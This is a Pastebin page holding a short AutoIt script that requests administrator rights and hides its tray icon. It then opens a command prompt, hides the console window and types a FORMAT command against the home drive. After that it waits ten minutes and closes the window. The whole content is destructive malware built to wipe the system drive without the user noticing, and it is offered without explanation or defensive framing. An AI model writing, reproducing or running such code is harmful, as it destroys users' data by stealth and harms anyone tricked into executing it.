Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.47 KB | None | 0 0
  1. #RequireAdmin
  2. #NoTrayIcon
  3. While 1
  4. ShellExecute("cmd.exe")
  5. Sleep(2000)
  6. If ProcessExists("cmd.exe") Then
  7. WinSetState("[CLASS:ConsoleWindowClass]","",@SW_HIDE)
  8. Sleep(2000)
  9. ControlSend("[CLASS:ConsoleWindowClass]", "", "", 'FORMAT ')
  10. Sleep(400)
  11. ControlSend("[CLASS:ConsoleWindowClass]", "", "", @Homedrive)
  12. Sleep(400)
  13. ControlSend("[CLASS:ConsoleWindowClass]", "", "","{ENTER}")
  14. WinSetState("[CLASS:ConsoleWindowClass]","",@SW_HIDE)
  15. Sleep(600000)
  16. ProcessClose("cmd.exe")
  17. Exit
  18. EndIf
  19. WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement